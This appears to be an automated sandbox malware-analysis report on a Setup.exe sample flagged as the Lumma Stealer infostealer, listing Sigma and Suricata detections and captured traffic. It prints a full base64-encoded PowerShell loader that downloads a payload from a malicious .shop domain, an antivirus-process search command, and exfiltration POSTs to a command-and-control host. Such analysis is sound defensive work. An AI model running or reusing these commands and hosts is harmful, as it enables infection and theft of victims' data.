ABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwALgBXAHIAaQB0AGUAKAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAsACAAMAAsACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABs

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell -exec bypass -Enc JAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4ACAAPQAgAHsACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AMwA2ADAALgBuAGUAdAAiACkALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApAC4AQwBsAG8AcwBlACgAKQAKAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxAAoACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGIAYQBpAGQAdQAuAGMAbwBtACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGwAaQBwAGMAYQB0AGUAcABpAHUAMAAuAHMAaABvAHAALwBpAG4AdABfAGMAbABwAF8AcwBoAGEALgB0AHgAdAAiAAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAApAAoACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0ACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwALgBXAHIAaQB0AGUAKAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAsACAAMAAsACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABs

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Attachment.com X, ParentImage: C:\Users\user\AppData\Local\Temp\189943\Attachment.com, ParentProcessId: 7924, ParentProcessName: Attachment.com, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1", ProcessId: 7736, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Attachment.com X, ParentImage: C:\Users\user\AppData\Local\Temp\189943\Attachment.com, ParentProcessId: 7924, ParentProcessName: Attachment.com, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1", ProcessId: 7736, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Attachment.com X, ParentImage: C:\Users\user\AppData\Local\Temp\189943\Attachment.com, ParentProcessId: 7924, ParentProcessName: Attachment.com, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1", ProcessId: 7736, ProcessName: powershell.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Nevertheless Nevertheless.cmd && Nevertheless.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Nevertheless Nevertheless.cmd && Nevertheless.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Setup.exe", ParentImage: C:\Users\user\Desktop\Setup.exe, ParentProcessId: 7664, ParentProcessName: Setup.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Nevertheless Nevertheless.cmd && Nevertheless.cmd, ProcessId: 7708, ProcessName: cmd.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass -Enc JAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4ACAAPQAgAHsACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AMwA2ADAALgBuAGUAdAAiACkALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApAC4AQwBsAG8AcwBlACgAKQAKAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxAAoACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGIAYQBpAGQAdQAuAGMAbwBtACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGwAaQBwAGMAYQB0AGUAcABpAHUAMAAuAHMAaABvAHAALwBpAG4AdABfAGMAbABwAF8AcwBoAGEALgB0AHgAdAAiAAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAApAAoACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0ACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwALgBXAHIAaQB0AGUAKAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAsACAAMAAsACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABs

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Attachment.com X, ParentImage: C:\Users\user\AppData\Local\Temp\189943\Attachment.com, ParentProcessId: 7924, ParentProcessName: Attachment.com, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1", ProcessId: 7736, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Nevertheless Nevertheless.cmd && Nevertheless.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 7828, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T01:46:02.055856+0100	2028371	3	Unknown Traffic	192.168.2.4	49869	104.21.36.51	443	TCP
2024-12-08T01:46:04.543705+0100	2028371	3	Unknown Traffic	192.168.2.4	49878	104.21.36.51	443	TCP
2024-12-08T01:46:07.010162+0100	2028371	3	Unknown Traffic	192.168.2.4	49885	104.21.36.51	443	TCP
2024-12-08T01:46:09.186930+0100	2028371	3	Unknown Traffic	192.168.2.4	49891	104.21.36.51	443	TCP
2024-12-08T01:46:11.378177+0100	2028371	3	Unknown Traffic	192.168.2.4	49897	104.21.36.51	443	TCP
2024-12-08T01:46:13.971378+0100	2028371	3	Unknown Traffic	192.168.2.4	49902	104.21.36.51	443	TCP
2024-12-08T01:46:16.219501+0100	2028371	3	Unknown Traffic	192.168.2.4	49908	104.21.36.51	443	TCP
2024-12-08T01:46:18.586208+0100	2028371	3	Unknown Traffic	192.168.2.4	49915	104.21.36.51	443	TCP
2024-12-08T01:46:20.603874+0100	2028371	3	Unknown Traffic	192.168.2.4	49920	104.21.36.51	443	TCP
2024-12-08T01:46:22.813737+0100	2028371	3	Unknown Traffic	192.168.2.4	49926	104.20.4.235	443	TCP
2024-12-08T01:46:25.362993+0100	2028371	3	Unknown Traffic	192.168.2.4	49933	104.21.26.127	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T01:46:03.213487+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49869	104.21.36.51	443	TCP
2024-12-08T01:46:05.391543+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49878	104.21.36.51	443	TCP
2024-12-08T01:46:21.457500+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49920	104.21.36.51	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T01:46:03.213487+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49869	104.21.36.51	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T01:46:05.391543+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49878	104.21.36.51	443	TCP

ET MALWARE Powershell commands sent B64 2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T01:46:26.021625+0100	2025011	1	A Network Trojan was detected	104.21.26.127	443	192.168.2.4	49933	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T01:46:19.376501+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49915	104.21.36.51	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://klipcatepiu0.shop/int_clp_sha.txt

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: Setup.exe	ReversingLabs: Detection: 23%
Source: Setup.exe	Virustotal: Detection: 30%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 91.8% probability

Source: Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.26.127:443 -> 192.168.2.4:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 180.163.242.102:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 180.163.242.102:443 -> 192.168.2.4:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.235.47.188:443 -> 192.168.2.4:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.26.127:443 -> 192.168.2.4:49979 version: TLS 1.2

Source: Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\189943	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\189943\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49878 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49878 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49869 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49869 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49915 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2025011 - Severity 1 - ET MALWARE Powershell commands sent B64 2 : 104.21.26.127:443 -> 192.168.2.4:49933
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49920 -> 104.21.36.51:443

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.360.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 360.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.baidu.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Host: klipcatepiu0.shopConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 103.235.47.188 103.235.47.188
Source: Joe Sandbox View	IP Address: 103.235.47.188 103.235.47.188

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49878 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49897 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49891 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49908 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49920 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49869 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49902 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49915 -> 104.21.36.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49926 -> 104.20.4.235:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49933 -> 104.21.26.127:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49885 -> 104.21.36.51:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: toqyxuy.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: toqyxuy.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1RAEKZ8988RAOBI86KTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18170Host: toqyxuy.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BMUZTTW8QX03778CNVLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8791Host: toqyxuy.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HC0296BYR822J2FHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20426Host: toqyxuy.shop
